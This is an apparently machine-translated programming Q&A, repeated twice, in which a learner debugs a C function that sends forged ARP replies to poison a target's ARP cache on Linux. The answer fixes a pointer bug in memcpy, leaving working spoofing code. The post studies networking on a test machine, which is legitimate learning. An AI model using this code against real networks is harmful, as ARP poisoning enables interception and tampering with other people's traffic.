linux 上的 c 中的 arp 欺骗时目标计算机 arp 缓存不更新
target computer arp cache not updating when arp spoofing in c on linux
我正尝试在 linux 上用 c 语言制作一个简单的 arp 欺骗程序(主要是为了更好地理解低级网络)。
到目前为止,我成功地创建了一个 arp 请求并获得了带有 mac 目标和网关地址的 arp 回复,但是每当我向 target/gateway 发送 arp 回复时,arp table在我的测试计算机上没有更新,它仍然显示正确的网关 mac 地址。这不是网络问题,因为 kali linux arpspoof 命令正常工作并且 arp 缓存正在更新。
这是我发送欺骗性arp数据包的代码:
void arp_spoof(int sock, LOCAL_DATA localData, uint32_t pdst, unsigned char hwdst[6], uint32_t psrc)
{
struct ether_arp arpPacket;
struct sockaddr_ll addr = {0};
addr.sll_family = AF_PACKET;
addr.sll_ifindex = localData.interface_index;
addr.sll_halen = ETHER_ADDR_LEN;
addr.sll_protocol = htons(ETH_P_ARP);
memcpy(addr.sll_addr, &hwdst, ETHER_ADDR_LEN); // destination physical address
// basic info about the arp packet
arpPacket.arp_hrd = htons(ARPHRD_ETHER);
arpPacket.arp_pro = htons(ETH_P_IP);
arpPacket.arp_hln = ETHER_ADDR_LEN;
arpPacket.arp_pln = sizeof(in_addr_t);
arpPacket.arp_op = htons(ARPOP_REPLY);
/*======== Resulting Structure ========
Source MAC : local mac (attacker)
Source IP : ip of the machine attacker wants
destination machine to believe is the source
Destination MAC : real destination physical address
Destination IP : real destination ip address
======================================*/
// Source MAC [REAL]
memcpy(&arpPacket.arp_sha, localData.mac_address, sizeof(arpPacket.arp_sha));
// Source IP [SPOOFED / FAKE]
memcpy(&arpPacket.arp_spa, &psrc, sizeof(arpPacket.arp_spa));
// Destination MAC [REAL]
memcpy(&arpPacket.arp_tha, hwdst, sizeof(arpPacket.arp_tha));
// Destination ip [REAL]
memcpy(&arpPacket.arp_tpa, &pdst, sizeof(arpPacket.arp_tpa));
// sending the packet to the target
if (sendto(sock, &arpPacket, sizeof(arpPacket), 0, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
printf("Error arp spoofing target: ");
PrintIpAddress(pdst);
}
我在代码中犯了一个愚蠢的错误。
在下一行中:
memcpy(addr.sll_addr, &hwdst, ETHER_ADDR_LEN);
我将指向指针的指针作为参数 &hwdst
。由于 hdwst
已经是来自参数的数组,因此它只需要指向第一个元素的指针。
正确的行应该是:
memcpy(addr.sll_addr, hwdst, ETHER_ADDR_LEN);
我正尝试在 linux 上用 c 语言制作一个简单的 arp 欺骗程序(主要是为了更好地理解低级网络)。 到目前为止,我成功地创建了一个 arp 请求并获得了带有 mac 目标和网关地址的 arp 回复,但是每当我向 target/gateway 发送 arp 回复时,arp table在我的测试计算机上没有更新,它仍然显示正确的网关 mac 地址。这不是网络问题,因为 kali linux arpspoof 命令正常工作并且 arp 缓存正在更新。
这是我发送欺骗性arp数据包的代码:
void arp_spoof(int sock, LOCAL_DATA localData, uint32_t pdst, unsigned char hwdst[6], uint32_t psrc)
{
struct ether_arp arpPacket;
struct sockaddr_ll addr = {0};
addr.sll_family = AF_PACKET;
addr.sll_ifindex = localData.interface_index;
addr.sll_halen = ETHER_ADDR_LEN;
addr.sll_protocol = htons(ETH_P_ARP);
memcpy(addr.sll_addr, &hwdst, ETHER_ADDR_LEN); // destination physical address
// basic info about the arp packet
arpPacket.arp_hrd = htons(ARPHRD_ETHER);
arpPacket.arp_pro = htons(ETH_P_IP);
arpPacket.arp_hln = ETHER_ADDR_LEN;
arpPacket.arp_pln = sizeof(in_addr_t);
arpPacket.arp_op = htons(ARPOP_REPLY);
/*======== Resulting Structure ========
Source MAC : local mac (attacker)
Source IP : ip of the machine attacker wants
destination machine to believe is the source
Destination MAC : real destination physical address
Destination IP : real destination ip address
======================================*/
// Source MAC [REAL]
memcpy(&arpPacket.arp_sha, localData.mac_address, sizeof(arpPacket.arp_sha));
// Source IP [SPOOFED / FAKE]
memcpy(&arpPacket.arp_spa, &psrc, sizeof(arpPacket.arp_spa));
// Destination MAC [REAL]
memcpy(&arpPacket.arp_tha, hwdst, sizeof(arpPacket.arp_tha));
// Destination ip [REAL]
memcpy(&arpPacket.arp_tpa, &pdst, sizeof(arpPacket.arp_tpa));
// sending the packet to the target
if (sendto(sock, &arpPacket, sizeof(arpPacket), 0, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
printf("Error arp spoofing target: ");
PrintIpAddress(pdst);
}
我在代码中犯了一个愚蠢的错误。
在下一行中:
memcpy(addr.sll_addr, &hwdst, ETHER_ADDR_LEN);
我将指向指针的指针作为参数 &hwdst
。由于 hdwst
已经是来自参数的数组,因此它只需要指向第一个元素的指针。
正确的行应该是:
memcpy(addr.sll_addr, hwdst, ETHER_ADDR_LEN);